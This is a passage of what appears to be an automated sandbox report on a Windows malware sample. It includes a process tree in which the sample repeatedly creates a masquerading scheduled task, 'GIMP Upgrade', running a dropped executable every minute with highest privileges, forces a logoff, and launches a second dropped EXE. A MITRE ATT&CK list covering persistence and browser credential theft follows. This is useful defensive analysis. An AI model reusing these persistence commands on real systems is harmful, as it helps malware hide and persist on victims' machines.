    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:3084
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:944
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1144
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:5112
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c Shutdown /l /f
  2⤵
  PID:3256
- - C:\Windows\system32\shutdown.exe
    Shutdown /l /f
    3⤵
    PID:2804

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:1004

C:\Users\Public\Pictures\xdwdNode.js.exe
"C:\Users\Public\Pictures\xdwdNode.js.exe"
1⤵
- Executes dropped EXE
PID:4484

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa390f855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery